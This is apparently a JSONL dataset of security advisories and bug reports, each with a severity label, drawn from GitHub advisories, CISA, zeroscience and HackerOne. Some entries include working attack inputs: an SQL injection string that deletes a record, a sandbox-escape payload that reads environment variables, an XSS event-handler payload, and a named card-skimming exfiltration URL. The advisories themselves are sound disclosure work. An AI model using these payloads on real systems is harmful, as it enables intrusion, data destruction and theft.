-{"id": "0db4dc1e61d982b38dc2", "text": "Unrestricted Upload of File with Dangerous Type in Umbraco CMS\n\nUmbraco CMS 8.5.3 allows an authenticated file upload (and consequently Remote Code Execution) via the Install Package functionality.", "text_raw": "Unrestricted Upload of File with Dangerous Type in Umbraco CMS\n\n[Severity: MEDIUM]\n\nUmbraco CMS 8.5.3 allows an authenticated file upload (and consequently Remote Code Execution) via the Install Package functionality.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-02", "split": "train"}
-{"id": "33d0f0d91086c1ae012d", "text": "Buffer overflow  in canvas\n\nA buffer overflow is present in canvas versions before 1.6.11, which could lead to a Denial of Service or execution of arbitrary code when it processes a user-provided image.", "text_raw": "Buffer overflow  in canvas\n\n[Severity: HIGH]\n\nA buffer overflow is present in canvas versions before 1.6.11, which could lead to a Denial of Service or execution of arbitrary code when it processes a user-provided image.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "5bab80a5fc8e7e88ab1e", "text": "Malicious Package in budfer-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in budfer-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "810dbef1ecb116ca9cfb", "text": "Oxwall 1.7.0 Multiple CSRF And HTML Injection Vulnerabilities", "text_raw": "Oxwall 1.7.0 Multiple CSRF And HTML Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2014-07-28", "split": "train"}
-{"id": "a19c62022b2de690fdee", "text": "MoinMoin vulnerable to remote code execution via cache action\n\n### Impact\nThe cache action in action/cache.py allows directory traversal through a crafted HTTP request. An attacker who can upload attachments to the wiki can use this to achieve remote code execution.\n\n### Patches\nUsers are strongly advised to upgrade to a patched version.\n\nMoinMoin Wiki 1.9.11 has the necessary fixes and also contains other important fixes.\n\n### Workarounds\nIt is not advised to work around this, but to upgrade MoinMoin to a patched version.\n\nThat said, a work around via disabling the `cache` or the `AttachFile` action might be possible.\n\nAlso, it is of course helpful if you give `write` permissions (which include uploading attachments) only to trusted users.\n\n### Credits\n\nThis vulnerability was discovered by Michael Chapman.\n\n### For more information\nIf you have any questions or comments about this advisory, email me at [twaldmann@thinkmo.de](mailto:twaldmann@thinkmo.de).", "text_raw": "MoinMoin vulnerable to remote code execution via cache action\n\n[Severity: HIGH]\n\n### Impact\nThe cache action in action/cache.py allows directory traversal through a crafted HTTP request. An attacker who can upload attachments to the wiki can use this to achieve remote code execution.\n\n### Patches\nUsers are strongly advised to upgrade to a patched version.\n\nMoinMoin Wiki 1.9.11 has the necessary fixes and also contains other important fixes.\n\n### Workarounds\nIt is not advised to work around this, but to upgrade MoinMoin to a patched version.\n\nThat said, a work around via disabling the `cache` or the `AttachFile` action might be possible.\n\nAlso, it is of course helpful if you give `write` permissions (which include uploading attachments) only to trusted users.\n\n### Credits\n\nThis vulnerability was discovered by Michael Chapman.\n\n### For more information\nIf you have any questions or comments about this advisory, email me at [twaldmann@thinkmo.de](mailto:twaldmann@thinkmo.de).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-11", "split": "train"}
-{"id": "129ea813d3d33b49ec48", "text": "Apache Camel's XSLT component allows remote attackers to read arbitrary files\n\nThe XSLT component in Apache Camel before 2.11.4 and 2.12.x before 2.12.3 allows remote attackers to read arbitrary files and possibly have other unspecified impact via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", "text_raw": "Apache Camel's XSLT component allows remote attackers to read arbitrary files\n\n[Severity: HIGH]\n\nThe XSLT component in Apache Camel before 2.11.4 and 2.12.x before 2.12.3 allows remote attackers to read arbitrary files and possibly have other unspecified impact via an XML document containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "a179a958adc8e2a2a4c6", "text": "Cross-site scripting in fat_free_crm\n\nFat Free CRM before 0.18.1 has XSS in the `tags_helpe`r in `app/helpers/tags_helper.rb`.", "text_raw": "Cross-site scripting in fat_free_crm\n\n[Severity: MEDIUM]\n\nFat Free CRM before 0.18.1 has XSS in the `tags_helpe`r in `app/helpers/tags_helper.rb`.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-21", "split": "train"}
-{"id": "b930ba01c22ff3812e51", "text": "Data leak in Tensorflow\n\n### Impact\nThe `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory\n```python\n>>> tf.raw_ops.StringNGrams(data=[\"aa\", \"bb\", \"cc\", \"dd\", \"ee\", \"ff\"], data_splits=[0,8], separator=\" \", ngram_widths=[3], left_pad=\"\", right_pad=\"\", pad_width=0, preserve_short_sequences=False)\nStringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=\narray([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',\n       b'ee ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00',\n       b'ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00 \\x9b~\\xa8q\\x7f\\x00\\x00p\\xf5j\\xa7q\\x7f\\x00\\x00H\\xf8j\\xa7q\\x7f\\x00\\x00\\xf0\\xf3\\xf7\\x85q\\x7f\\x00\\x00`}\\xa6\\x00\\x00\\x00\\x00\\x00`~\\xa6\\x00\\x00\\x00\\x00\\x00\\xb0~\\xeb\\x9bq\\x7f\\x00'],...\n```\n\nAll the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.\n\n### Patches\nWe have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Data leak in Tensorflow\n\n[Severity: MEDIUM]\n\n### Impact\nThe `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory\n```python\n>>> tf.raw_ops.StringNGrams(data=[\"aa\", \"bb\", \"cc\", \"dd\", \"ee\", \"ff\"], data_splits=[0,8], separator=\" \", ngram_widths=[3], left_pad=\"\", right_pad=\"\", pad_width=0, preserve_short_sequences=False)\nStringNGrams(ngrams=<tf.Tensor: shape=(6,), dtype=string, numpy=\narray([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',\n       b'ee ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00',\n       b'ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00 \\x9b~\\xa8q\\x7f\\x00\\x00p\\xf5j\\xa7q\\x7f\\x00\\x00H\\xf8j\\xa7q\\x7f\\x00\\x00\\xf0\\xf3\\xf7\\x85q\\x7f\\x00\\x00`}\\xa6\\x00\\x00\\x00\\x00\\x00`~\\xa6\\x00\\x00\\x00\\x00\\x00\\xb0~\\xeb\\x9bq\\x7f\\x00'],...\n```\n\nAll the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.\n\n### Patches\nWe have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-25", "split": "train"}
-{"id": "5c42940e16dcbc6926af", "text": "Cross-site Scripting in teddy\n\nTeddy is a readable and easy to learn templating language. This affects the package teddy before 0.5.9. A type confusion vulnerability can be used to bypass input sanitization when the model content is an array (instead of a string).", "text_raw": "Cross-site Scripting in teddy\n\n[Severity: MEDIUM]\n\nTeddy is a readable and easy to learn templating language. This affects the package teddy before 0.5.9. A type confusion vulnerability can be used to bypass input sanitization when the model content is an array (instead of a string).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "d555ff9fdbe0dd150e1f", "text": "Unprotected dynamically loaded chunks\n\n### Impact\n\nAll dynamically loaded chunks receive an invalid integrity hash that is ignored by the browser, and therefore the browser cannot validate their integrity. This removes the additional level of protection offered by SRI for such chunks. Top-level chunks are unaffected.\n\n### Patches\n\nThis issue is patched in version 1.5.1.\n\n### Workarounds\n\nN/A\n\n### References\n\nhttps://github.com/waysact/webpack-subresource-integrity/issues/131\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on [webpack-subresource-integrity issue #131](https://github.com/waysact/webpack-subresource-integrity/issues/131)\n* Or email us at [security@waysact.com](mailto:security@waysact.com)", "text_raw": "Unprotected dynamically loaded chunks\n\n[Severity: LOW]\n\n### Impact\n\nAll dynamically loaded chunks receive an invalid integrity hash that is ignored by the browser, and therefore the browser cannot validate their integrity. This removes the additional level of protection offered by SRI for such chunks. Top-level chunks are unaffected.\n\n### Patches\n\nThis issue is patched in version 1.5.1.\n\n### Workarounds\n\nN/A\n\n### References\n\nhttps://github.com/waysact/webpack-subresource-integrity/issues/131\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Comment on [webpack-subresource-integrity issue #131](https://github.com/waysact/webpack-subresource-integrity/issues/131)\n* Or email us at [security@waysact.com](mailto:security@waysact.com)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "e1943cf1fad97a743a0b", "text": "accounts: Hash account number using Salt\n\n@alovak found that currently when we build hash of account number we do not \"salt\" it. Which makes it vulnerable to rainbow table attack.\n\n**What did you expect to see?**\nI expected salt (some random number from configuration) to be used in [hash.AccountNumber](https://github.com/moov-io/customers/blob/master/pkg/secrets/hash/account_number.go#L13)\n\nI would generate salt per tenant at least (maybe per organization).", "text_raw": "accounts: Hash account number using Salt\n\n[Severity: LOW]\n\n@alovak found that currently when we build hash of account number we do not \"salt\" it. Which makes it vulnerable to rainbow table attack.\n\n**What did you expect to see?**\nI expected salt (some random number from configuration) to be used in [hash.AccountNumber](https://github.com/moov-io/customers/blob/master/pkg/secrets/hash/account_number.go#L13)\n\nI would generate salt per tenant at least (maybe per organization).", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "29e40f8f352ca4a66586", "text": "Malicious Package in another-date-range-picker\n\nVersion 4.1.48 of `another-date-range-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 4.1.48 of this module is found installed you will want to replace it with a version before or after 4.1.48. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in another-date-range-picker\n\n[Severity: CRITICAL]\n\nVersion 4.1.48 of `another-date-range-picker` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n## Recommendation\n\nIf version 4.1.48 of this module is found installed you will want to replace it with a version before or after 4.1.48. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "ac1ca82a4014affffc8e", "text": "Malicious Package in impala\n\nVersion 1.1.7 of `impala` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nIf version 1.1.7 of this module is found installed you will want to replace it with a version before or after 1.1.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in impala\n\n[Severity: CRITICAL]\n\nVersion 1.1.7 of `impala` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nIf version 1.1.7 of this module is found installed you will want to replace it with a version before or after 1.1.7. In addition to replacing the installed module, you will also want to evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "b2eecdbf3559791a342c", "text": "Missing Authorization in jenkins xray-connector\n\nJenkins Xray - Test Management for Jira Plugin 2.4.0 and earlier does not perform a permission check in an HTTP endpoint, allowing with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.", "text_raw": "Missing Authorization in jenkins xray-connector\n\n[Severity: MEDIUM]\n\nJenkins Xray - Test Management for Jira Plugin 2.4.0 and earlier does not perform a permission check in an HTTP endpoint, allowing with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-16", "split": "train"}
-{"id": "03e6bcbd99212842fb7a", "text": "rack-ssl Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in `lib/rack/ssl.rb` in the rack-ssl gem before 1.4.0 for Ruby allows remote attackers to inject arbitrary web script or HTML via a URI, which might not be properly handled by third-party adapters such as JRuby-Rack.", "text_raw": "rack-ssl Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in `lib/rack/ssl.rb` in the rack-ssl gem before 1.4.0 for Ruby allows remote attackers to inject arbitrary web script or HTML via a URI, which might not be properly handled by third-party adapters such as JRuby-Rack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "2481b48d1c5f481550db", "text": "ThinkPHP \"noneCms\" Remote Code Execution Vulnerability\n\nAffected: ThinkPHP noneCms\n\nThinkPHP \"noneCms\" contains an unspecified vulnerability that allows for remote code execution through crafted use of the filter parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "ThinkPHP \"noneCms\" Remote Code Execution Vulnerability\n\nAffected: ThinkPHP noneCms\n\nThinkPHP \"noneCms\" contains an unspecified vulnerability that allows for remote code execution through crafted use of the filter parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "02529c4cf483e8e9c585", "text": "Flask-Cors Directory Traversal vulnerability\n\nAn issue was discovered in Flask-CORS (aka CORS Middleware for Flask) before 3.0.9. It allows `../` directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format.", "text_raw": "Flask-Cors Directory Traversal vulnerability\n\n[Severity: HIGH]\n\nAn issue was discovered in Flask-CORS (aka CORS Middleware for Flask) before 3.0.9. It allows `../` directory traversal to access private resources because resource matching does not ensure that pathnames are in a canonical format.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "45ac781c6b3d9016296e", "text": "Malicious Package in device-mqtt\n\nVersion 1.0.11 of `device-mqtt` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.10", "text_raw": "Malicious Package in device-mqtt\n\n[Severity: CRITICAL]\n\nVersion 1.0.11 of `device-mqtt` contained malicious code. The code when executed in the browser would enumerate password, cvc, cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment. It's also recommended to evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.10", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "0b9b0cb4fde8903c86eb", "text": "Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Pivotal CredHub Service Broker\n\nPivotal CredHub Service Broker, versions prior to 1.1.0, uses a guessable form of random number generation in creating service broker's UAA client. A remote malicious user may guess the client secret and obtain or modify credentials for users of the CredHub Service.", "text_raw": "Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Pivotal CredHub Service Broker\n\n[Severity: HIGH]\n\nPivotal CredHub Service Broker, versions prior to 1.1.0, uses a guessable form of random number generation in creating service broker's UAA client. A remote malicious user may guess the client secret and obtain or modify credentials for users of the CredHub Service.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-29", "split": "train"}
-{"id": "a794f557dc30d3849752", "text": "Exposure of Sensitive Information to an Unauthorized Actor in AEgir\n\n### Impact\n`aegir publish` and `aegir build` may leak secrets from environmental variables in the browser bundle published to npm.\n\n### Patches\nThe code has been patched, users should upgrade to >= 21.10.1\n\n### Workarounds\nRun `printenv` to check your environment variables and revoke any secrets.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [aegir](https://github.com/ipfs/aegir)", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in AEgir\n\n[Severity: CRITICAL]\n\n### Impact\n`aegir publish` and `aegir build` may leak secrets from environmental variables in the browser bundle published to npm.\n\n### Patches\nThe code has been patched, users should upgrade to >= 21.10.1\n\n### Workarounds\nRun `printenv` to check your environment variables and revoke any secrets.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [aegir](https://github.com/ipfs/aegir)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-05-27", "split": "train"}
-{"id": "7fb6cf92df5ad4c96f2a", "text": "Prototype pollution in getobject\n\nPrototype pollution vulnerability in 'getobject' version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "text_raw": "Prototype pollution in getobject\n\n[Severity: CRITICAL]\n\nPrototype pollution vulnerability in 'getobject' version 0.1.0 allows an attacker to cause a denial of service and may lead to remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "cbd2e1c9d87966006d2d", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Config Download", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Unauthenticated Config Download\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "a8222d52654dc8467e89", "text": "Double free in fil-ocl\n\nAn issue was discovered in the fil-ocl crate through 2021-01-04 for Rust. From<EventList> can lead to a double free.", "text_raw": "Double free in fil-ocl\n\n[Severity: HIGH]\n\nAn issue was discovered in the fil-ocl crate through 2021-01-04 for Rust. From<EventList> can lead to a double free.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "363486642330a3d2759d", "text": "SQL Injection in sequelize\n\nAffected versions of `sequelize` cast arrays to strings and fail to properly escape the resulting SQL statement, resulting in a SQL injection vulnerability.\n\n## Proof of Concept\nIn Postgres, SQLite, and Microsoft SQL Server there is an issue where arrays are treated as strings and improperly escaped.\n\nExample Query:\n```\ndatabase.query('SELECT * FROM TestTable WHERE Name IN (:names)', {\n  replacements: {\n    names: directCopyOfUserInput\n  }\n});\n```\n\nIf the user inputs the value of `:names` as:\n```\n[\"test\", \"'); DELETE TestTable WHERE Id = 1 --')\"]\n```\n\nThe resulting SQL statement will be:\n```sql\nSELECT Id FROM Table WHERE Name IN ('test', '\\'); DELETE TestTable WHERE Id = 1 --')\n```\nAs the backslash has no special meaning in PostgreSQL, MSSQL, or SQLite, the statement will delete the record in TestTable with an Id of 1.\n\n## Recommendation\n\nUpdate to version 3.20.0 or later.", "text_raw": "SQL Injection in sequelize\n\n[Severity: HIGH]\n\nAffected versions of `sequelize` cast arrays to strings and fail to properly escape the resulting SQL statement, resulting in a SQL injection vulnerability.\n\n\n## Proof of Concept\nIn Postgres, SQLite, and Microsoft SQL Server there is an issue where arrays are treated as strings and improperly escaped.\n\nExample Query:\n```\ndatabase.query('SELECT * FROM TestTable WHERE Name IN (:names)', {\n  replacements: {\n    names: directCopyOfUserInput\n  }\n});\n```\n\nIf the user inputs the value of `:names` as:\n```\n[\"test\", \"'); DELETE TestTable WHERE Id = 1 --')\"]\n```\n\nThe resulting SQL statement will be:\n```sql\nSELECT Id FROM Table WHERE Name IN ('test', '\\'); DELETE TestTable WHERE Id = 1 --')\n```\nAs the backslash has no special meaning in PostgreSQL, MSSQL, or SQLite, the statement will delete the record in TestTable with an Id of 1.\n\n\n## Recommendation\n\nUpdate to version 3.20.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "89ee41cb3781ee05de5d", "text": "Cross-Site Scripting in @berslucas/liljs\n\nVersions of  `@berslucas/liljs` prior to 1.0.2 are vulnerable to Cross-Site Scripting (XSS). The package uses the unsafe `innerHTML` function without sanitizing input, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.0.2 or later.", "text_raw": "Cross-Site Scripting in @berslucas/liljs\n\n[Severity: MEDIUM]\n\nVersions of  `@berslucas/liljs` prior to 1.0.2 are vulnerable to Cross-Site Scripting (XSS). The package uses the unsafe `innerHTML` function without sanitizing input, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.0.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "a6775149baf8738a17b6", "text": "Authentication Bypass in Devise\n\nAn issue was discovered in Plataformatec Devise before 4.7.1. It confirms accounts upon receiving a request with a blank confirmation_token, if a database record has a blank value in the confirmation_token column. (However, there is no scenario within Devise itself in which such database records would exist.)", "text_raw": "Authentication Bypass in Devise\n\n[Severity: MEDIUM]\n\nAn issue was discovered in Plataformatec Devise before 4.7.1. It confirms accounts upon receiving a request with a blank confirmation_token, if a database record has a blank value in the confirmation_token column. (However, there is no scenario within Devise itself in which such database records would exist.)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "27f5b298d9a7a9078b26", "text": "Malicious Package in radic-util\n\nVersion 1.0.2 of `radic-util` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "text_raw": "Malicious Package in radic-util\n\n[Severity: CRITICAL]\n\nVersion 1.0.2 of `radic-util` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.\n\nUsers may consider downgrading to version 1.0.1", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "3973cd3e6e2635170a7a", "text": "webgrind 1.0 (file param) Local File Inclusion Vulnerability", "text_raw": "webgrind 1.0 (file param) Local File Inclusion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2012-02-25", "split": "train"}
-{"id": "c23d384aef899147b343", "text": "Sandbox Breakout / Arbitrary Code Execution in sandbox\n\nAll versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in sandbox\n\n[Severity: CRITICAL]\n\nAll versions of `sandbox` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through `this.constructor.constructor` . This may allow attackers to execute arbitrary code in the system. Evaluating the payload `this.constructor.constructor('return process.env')()` prints the contents of `process.env`.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "66b6f1b424d3ebf95e30", "text": "[Cross-site Scripting (XSS) - Generic] XSS on gravatar\n\nHello team of Wordpress!\n\nI am Simone and I am here to report a XSS on gravatar!\n\nI think that you don't believe me, but it's true, because I have found 171 XSS with different directory and parametrers!\n\nLet's the details:\n\nVulnerability:XSS..\n\nVulnerability description:\n\nCross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.\n\nProof of concept of the XSS (Only two):\n\n1)http://grabilla.com/04318-cb553271-51b2-4fba-81ea-9a611d1db71f.html\n\n2)http://grabilla.com/04318-00311a7d-3dd3-4032-8c79-3c3656330216.html\n\nHow to reproduce it:\n\n1)Create an HTML file with this code:\n\nSee the pastebin link for the HTML CODE: http://pastebin.com/fsAKWTe1\n\n2)Open it on Mozilla, Like this..poc below:\n\nhttp://grabilla.com/04318-271a0763-cad8-4482-ab02-3d8948f33b04.html\n\n3)Now, the payload is something like: \"onmouseover='prompt(916137)'bad=\"> right? Well, pass the mouse on \"JSON\" or \"XML\" or etc and you will see the alert! :)\n\nLike this:\n\nFINAL POC: http://grabilla.com/04318-ff2c5eea-0491-4841-977a-a4b7b1fafc9e.html\n\nWell, my report finish here,\n\nThanks and best regards,\n\nSimone", "text_raw": "[Cross-site Scripting (XSS) - Generic] XSS on gravatar\n\nHello team of Wordpress!\r\n\r\nI am Simone and I am here to report a XSS on gravatar!\r\n\r\nI think that you don't believe me, but it's true, because I have found 171 XSS with different directory and parametrers!\r\n\r\nLet's the details:\r\n\r\nVulnerability:XSS.\r\n\r\nSeverity:High.\r\n\r\nVulnerability description:\r\n\r\nCross site scripting (also referred to as XSS) is a vulnerability that allows an attacker to send malicious code (usually in the form of Javascript) to another user. Because a browser cannot know if the script should be trusted or not, it will execute the script in the user context allowing the attacker to access any cookies or session tokens retained by the browser.\r\n\r\nProof of concept of the XSS (Only two):\r\n\r\n1)http://grabilla.com/04318-cb553271-51b2-4fba-81ea-9a611d1db71f.html\r\n\r\n2)http://grabilla.com/04318-00311a7d-3dd3-4032-8c79-3c3656330216.html\r\n\r\nHow to reproduce it:\r\n\r\n1)Create an HTML file with this code:\r\n\r\nSee the pastebin link for the HTML CODE: http://pastebin.com/fsAKWTe1\r\n\r\n\r\n\r\n2)Open it on Mozilla, Like this..poc below:\r\n\r\nhttp://grabilla.com/04318-271a0763-cad8-4482-ab02-3d8948f33b04.html\r\n\r\n3)Now, the payload is something like: \"onmouseover='prompt(916137)'bad=\"> right? Well, pass the mouse on \"JSON\" or \"XML\" or etc and you will see the alert! :)\r\n\r\nLike this:\r\n\r\nFINAL POC: http://grabilla.com/04318-ff2c5eea-0491-4841-977a-a4b7b1fafc9e.html\r\n\r\nWell, my report finish here,\r\n\r\nThanks and best regards,\r\n\r\nSimone", "severity": "high", "severity_label": 2, "source": "hackerone", "timestamp": "2014-09-07", "split": "train"}
-{"id": "7e648f096bbc436da9e7", "text": "Rubyzip denial of service\n\nIn Rubyzip before 1.3.0, a crafted ZIP file can bypass application checks on ZIP entry sizes because data about the uncompressed size can be spoofed. This allows attackers to cause a denial of service (disk consumption).", "text_raw": "Rubyzip denial of service \n\n[Severity: MEDIUM]\n\nIn Rubyzip before 1.3.0, a crafted ZIP file can bypass application checks on ZIP entry sizes because data about the uncompressed size can be spoofed. This allows attackers to cause a denial of service (disk consumption).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-30", "split": "train"}
